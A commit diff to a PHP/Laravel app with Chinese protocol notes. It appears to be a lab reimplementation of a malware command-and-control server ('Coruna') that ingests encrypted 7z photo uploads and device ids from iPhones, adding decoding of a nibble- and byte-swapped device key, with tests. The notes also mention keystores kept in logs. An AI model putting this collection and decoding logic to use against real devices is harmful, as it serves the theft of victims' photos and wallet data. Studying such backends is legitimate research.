init
This commit is contained in:
+4
-1
@@ -57,7 +57,9 @@ null
|
||||
| `s` / `u` / `sbu` | 其它会话/用户侧短字段 |
|
||||
| `v` | 插件或模块版本串 |
|
||||
|
||||
设备主键启发式:`id` → `d` → `f` → `c`(见 `IngestService::extractDeviceKey`)。
|
||||
设备主键:只取 `d` / `f`(见 `IngestService::extractDeviceKey`)。
|
||||
`/api/user/check` multipart 的 `d`/`f` 为编码形态
|
||||
`hex(ascii(nibbleSwap(byteReverse(json_d))))`(例:`000430C910E8E526` → `36323545384530313943303334303030`);Lab 在入库前归一化为 JSON 侧 16 hex。
|
||||
|
||||
---
|
||||
|
||||
@@ -329,6 +331,7 @@ Lab:尝试从 `result`/地址类字段入库;完整 keystore 保留在日志
|
||||
| `x-hit` | 检测分数类短字段 |
|
||||
| `rid` | ~36 字符请求/资源 id |
|
||||
| `c`,`d`,`f`,`s`,`u`,`b`,`m`,`ts` | 设备/会话侧短字段(与 JSON 接口同族) |
|
||||
| `d`,`f` | **长度 32**:相对 JSON 的 16 hex 做了 nibble/byte 重排后再 hex(ascii);Lab 归一化后入库 |
|
||||
| `ts` | **即 batchBase**:首批为 `"0"`;后续为 `LastProcessedTimestamp` 十进制字符串 |
|
||||
|
||||
7z 口令:`session_key || ts`(Lab 读 multipart 字段 `ts`;缺省才回落 `"0"`)。
|
||||
|
||||
@@ -102,9 +102,12 @@ class C2Controller extends Controller
|
||||
|
||||
public function check(Request $request): Response
|
||||
{
|
||||
$deviceKey = $request->attributes->get('coruna_device_key')
|
||||
$rawKey = $request->attributes->get('coruna_device_key')
|
||||
?: $request->input('d')
|
||||
?: $request->input('f');
|
||||
$deviceKey = is_string($rawKey) && $rawKey !== ''
|
||||
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
|
||||
: null;
|
||||
$device = $this->ingest->upsertDevice(
|
||||
$request,
|
||||
array_filter([
|
||||
@@ -112,7 +115,7 @@ class C2Controller extends Controller
|
||||
'c' => $request->input('c'),
|
||||
'channel' => $request->input('channel'),
|
||||
]),
|
||||
$deviceKey ? (string) $deviceKey : null
|
||||
$deviceKey
|
||||
);
|
||||
|
||||
// Archive password = session_key || batchBaseTimestampString.
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
@@ -59,6 +60,7 @@ class DecryptCorunaBody
|
||||
}
|
||||
|
||||
// Device id currently only from d/f (same value in live traffic).
|
||||
// /check multipart may send the hex-ascii + nibble/byte-swapped form.
|
||||
if (is_array($payload)) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
if (! empty($payload[$k]) && is_string($payload[$k])) {
|
||||
@@ -66,6 +68,17 @@ class DecryptCorunaBody
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) {
|
||||
$deviceKey = $payload['form'][$k];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (is_string($deviceKey) && $deviceKey !== '') {
|
||||
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
|
||||
}
|
||||
|
||||
create_log([
|
||||
|
||||
@@ -19,21 +19,69 @@ class IngestService
|
||||
/**
|
||||
* Stable device id — currently only from payload `d` / `f`.
|
||||
* Other fields will be added when confirmed in live traffic.
|
||||
*
|
||||
* `/api/user/check` multipart sends an encoded form of the same id
|
||||
* (see {@see normalizeDeviceKey}); JSON routes send the 16-hex form.
|
||||
*/
|
||||
public function extractDeviceKey(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
foreach (['d', 'f'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return substr($payload[$key], 0, 64);
|
||||
$candidates = [];
|
||||
if (isset($payload['form']) && is_array($payload['form'])) {
|
||||
$candidates[] = $payload['form']['d'] ?? null;
|
||||
$candidates[] = $payload['form']['f'] ?? null;
|
||||
}
|
||||
$candidates[] = $payload['d'] ?? null;
|
||||
$candidates[] = $payload['f'] ?? null;
|
||||
|
||||
foreach ($candidates as $value) {
|
||||
if (! empty($value) && is_string($value)) {
|
||||
return self::normalizeDeviceKey(substr($value, 0, 64));
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Map `/check` multipart `d`/`f` onto the JSON-route device id.
|
||||
*
|
||||
* Live photo upload encodes: hex(ascii(nibbleSwap(byteReverse(json_d)))).
|
||||
* Example: JSON `000430C910E8E526` ↔ check `36323545384530313943303334303030`.
|
||||
* Plain 16-hex (and non-matching strings) pass through unchanged.
|
||||
*/
|
||||
public static function normalizeDeviceKey(?string $key): ?string
|
||||
{
|
||||
if ($key === null || $key === '') {
|
||||
return $key;
|
||||
}
|
||||
|
||||
if (! preg_match('/^[0-9a-fA-F]{32}$/', $key)) {
|
||||
return $key;
|
||||
}
|
||||
|
||||
$ascii = hex2bin($key);
|
||||
if (! is_string($ascii) || ! preg_match('/^[0-9A-Fa-f]{16}$/', $ascii)) {
|
||||
return $key;
|
||||
}
|
||||
|
||||
$raw = hex2bin($ascii);
|
||||
if ($raw === false || strlen($raw) !== 8) {
|
||||
return $key;
|
||||
}
|
||||
|
||||
$rev = strrev($raw);
|
||||
$out = '';
|
||||
for ($i = 0; $i < 8; $i++) {
|
||||
$b = ord($rev[$i]);
|
||||
$out .= sprintf('%02X', (($b & 0x0F) << 4) | (($b & 0xF0) >> 4));
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Campaign / channel id from reporting traffic.
|
||||
*
|
||||
@@ -70,7 +118,9 @@ class IngestService
|
||||
|
||||
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
$deviceKey ??= $this->extractDeviceKey($payload);
|
||||
$deviceKey = $deviceKey !== null
|
||||
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
|
||||
: $this->extractDeviceKey($payload);
|
||||
if (! $deviceKey) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -343,6 +343,64 @@ class C2ApiTest extends TestCase
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_normalizes_encoded_device_key_onto_existing_device(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$crypto = new CorunaCrypto;
|
||||
Device::query()->create([
|
||||
'device_id' => '000430C910E8E526',
|
||||
'ios_version' => '15.8.4',
|
||||
'device_model' => 'iPhone9,1',
|
||||
'ip' => '1.2.3.4',
|
||||
]);
|
||||
|
||||
$tmp = sys_get_temp_dir().'/coruna_photo_norm_'.uniqid();
|
||||
mkdir($tmp);
|
||||
$jpegPath = $tmp.'/hit.jpg';
|
||||
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
||||
$archivePath = $tmp.'/capture.7z';
|
||||
$password = $crypto->archivePassword('0');
|
||||
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
||||
? '/opt/homebrew/opt/p7zip/bin/7z'
|
||||
: '7z';
|
||||
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
||||
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
||||
exec($cmd, $out, $code);
|
||||
$this->assertSame(0, $code, implode("\n", $out));
|
||||
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
$this->call(
|
||||
'POST',
|
||||
'/api/user/check',
|
||||
[
|
||||
// Live /check form: hex(ascii(nibbleSwap(byteReverse(json_d))))
|
||||
'd' => '36323545384530313943303334303030',
|
||||
'f' => '36323545384530313943303334303030',
|
||||
'batchBase' => '0',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
|
||||
$this->assertNull(
|
||||
Device::query()->where('device_id', '36323545384530313943303334303030')->first()
|
||||
);
|
||||
$this->assertNull(
|
||||
Device::query()->where('device_id', '625E8E019C034000')->first()
|
||||
);
|
||||
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertTrue(
|
||||
Photo::query()->where('device_id', $device->id)->exists()
|
||||
);
|
||||
|
||||
@unlink($jpegPath);
|
||||
@unlink($archivePath);
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_uses_multipart_ts_as_batch_base_password(): void
|
||||
{
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Services\IngestService;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class IngestServiceNormalizeTest extends TestCase
|
||||
{
|
||||
#[Test]
|
||||
public function check_multipart_device_key_maps_to_json_form(): void
|
||||
{
|
||||
$this->assertSame(
|
||||
'000430C910E8E526',
|
||||
IngestService::normalizeDeviceKey('36323545384530313943303334303030')
|
||||
);
|
||||
$this->assertSame(
|
||||
'000430C910E8E526',
|
||||
IngestService::normalizeDeviceKey('36323545384530313943303334303030')
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function plain_json_device_key_passes_through(): void
|
||||
{
|
||||
$this->assertSame(
|
||||
'000430C910E8E526',
|
||||
IngestService::normalizeDeviceKey('000430C910E8E526')
|
||||
);
|
||||
$this->assertSame('dev-photo-1', IngestService::normalizeDeviceKey('dev-photo-1'));
|
||||
$this->assertNull(IngestService::normalizeDeviceKey(null));
|
||||
$this->assertSame('', IngestService::normalizeDeviceKey(''));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function extract_device_key_normalizes_form_nested_d(): void
|
||||
{
|
||||
$ingest = $this->app->make(IngestService::class);
|
||||
$this->assertSame(
|
||||
'000430C910E8E526',
|
||||
$ingest->extractDeviceKey([
|
||||
'form' => [
|
||||
'd' => '36323545384530313943303334303030',
|
||||
'f' => '36323545384530313943303334303030',
|
||||
],
|
||||
])
|
||||
);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user